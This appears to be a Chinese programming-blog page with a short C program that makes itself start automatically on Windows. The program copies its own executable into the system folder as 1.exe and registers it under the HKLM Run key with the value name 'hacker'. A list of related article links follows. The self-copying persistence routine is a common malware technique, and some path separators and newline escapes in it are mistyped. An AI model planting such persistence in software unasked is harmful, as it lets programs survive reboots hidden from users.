[C语言]模拟用注册表实现自启动
来源:互联网 发布:python 获取当前毫秒 编辑:程序博客网 时间:2024/05/20 10:56
#include <stdio.h>
#include <windows.h>
int main()
{
HKEY hkResult;
char regName[] = "Software//Microsoft//Windows//CurrentVersion//Run";
int ret;
// ret = RegOpenKey(HKEY_LOCAL_MACHINE,regName,&hkResult);
ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE, regName, 0, KEY_ALL_ACCESS, &hkResult ); //打开注册表
ret = RegSetValueEx( hkResult, "hacker", 0, REG_EXPAND_SZ, (unsigned char *)"%systemroot%//1.exe", 25 ); //写值
if( 0 == ret ) //判断是否成功
{
printf("success to write run key/n");
RegCloseKey( hkResult );
}
else
{
printf("error!");
return 0;
}
char exePath[256];
char sysPath[256];
GetModuleFileName( 0, exePath, 256 ); //得到当前运行的程序名
GetSystemDirectory( sysPath, 256 ); // 得到系统文件夹
ret = CopyFile( exePath, strcat( sysPath, "//1.exe" ), 1 ); // 把当前程序写到系统文件夹下
if(ret) // 判断是否成功
printf("success!/n");
else
printf("error!/n");
return 0;
}
- [C语言]模拟用注册表实现自启动
- C语言实现应用程序开机自启动(写进注册表)
- 写入注册表实现自启动
- VC++实现注册表自启动
- vc++实现注册表自启动,木马用的比较多
- vc++实现注册表自启动,木马用的比较多
- 注册表实现自启动,以及读取配置文件
- 修改注册表 实现开机程序自启动
- 修改注册表实现程序开机自启动
- 注册表编程自启动
- 注册表自启动问题
- VC读写注册表实现程序自启动的实现源代码
- VC读写注册表实现程序自启动的实现源代码
- 用C语言模拟实现C++多态
- 编程实现修改注册表完成程序自启动
- c#实现程序自启动(修改注册表)
- Java 修改Windows注册表,以实现开机自启动应用程序。
- C++操作注册表实现开机自启动程序
- 加载窗体(SplashForm)
- 精妙SQL语句
- WMI使用集锦
- 说说大型高并发高负载网站的系统架构
- 你是今年的年度人物-《时代》周刊杂志2006年度人物“颁奖词”全文
- [C语言]模拟用注册表实现自启动
- J2ME游戏开发实例讲解
- SharePoint网站定义
- 关于JavaScript的时间精度
- 评论:《江城夏日》 这一刻我们感到无比温暖
- Java运行环境与Windows注册表
- 提升JSP应用程序的七大绝招
- Javadoc的使用
- 需要2G的RAM才能跑的动的Virtual PC image,Microsoft 真是厉害